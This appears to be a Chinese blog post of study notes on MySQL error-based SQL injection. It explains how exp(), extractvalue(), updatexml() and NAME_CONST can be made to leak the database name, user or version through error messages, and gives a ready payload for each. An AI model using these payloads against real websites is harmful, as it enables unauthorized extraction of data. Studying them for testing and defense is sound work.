zoukankan      html  css  js  c++  java
  • mysql内一些可以报错注入的查询语句

     
     

    一、exp() 取反参数

    该函数简单来说就是,以e为底的对数,在当传递一个大于709的值时,函数exp()就会引起一个溢出错误,取反则可以导致很小的数值变得很大,比如说0

     这样既可配合使用,exp(其中对随意一个数取反均会是一个大于710的数值)

    因此可以使用 (exp(~(查询语句为)))

    select exp(~(select*from(select database())x));

     高于5.5.5的版本会出现如上的报错,不会查询出当前数据库,这个需要针对特定的版本进行使用:

    二、extractvalue()  两位参数

    Extractvalue(xml_frag, xpath_expr) 函数使用XPath表示法从XML字符串中提取值
    xml_frag: 目标xml文档
    xpath_expr: 利用Xpath路径法表示的查找路径
    具体可查看这篇博客:https://xz.aliyun.com/t/7318#toc-5

    根据该博客,此处我进行了复现与学习,感兴趣的朋友也可以像上面那篇博客学习。

     

    此处长度存在限制,因此该函数常与concat、concat_ws等函数配合使用:

    concat() :

    select concat('大','小');

    concat_ws():

    select concat_ws(',','11','22','33'); #第一个参数应该为连接符

     

    select extractvalue(1,concat(0x7e,(select user()),0x7e)); #拼接的函数可自行替换,需查询的内容也一样可以自行替换

    三、updatexml()  三位参数

    UPDATEXML (XML_document, XPath_string, new_value) 改变文档中符合条件的节点的值
    XML_document:String格式,为XML文档对象的名称
    XPath_string :Xpath格式的字符串
    new_value:String格式,替换查找到的符合条件的数据

     

    使用该语句即可爆出当前数据库名:

    select updatexml('1',concat('~',(select database())),'1');

    四、mysql重复属性

    select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

    当有新的报错函数时将会继续更新!!!

  • 相关阅读:
    HTTPS加密越来越流行,为何要加密?
    百度全站 https FAQ:技术宅告诉你如何搜索更安全
    Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock'
    理解 Ruby Symbol (Ruby中的冒号)
    ruby on rails Mac 安装
    Homestead PHP7安装phpredis扩展
    CentOS单独编译安装PHP gd库扩展
    centos 6.5 安装composer
    centos 添加用户
    laravel 安装 Laravel 扩展包
  • 原文地址:https://www.cnblogs.com/cute-puli/p/14461322.html
Copyright © 2011-2022 走看看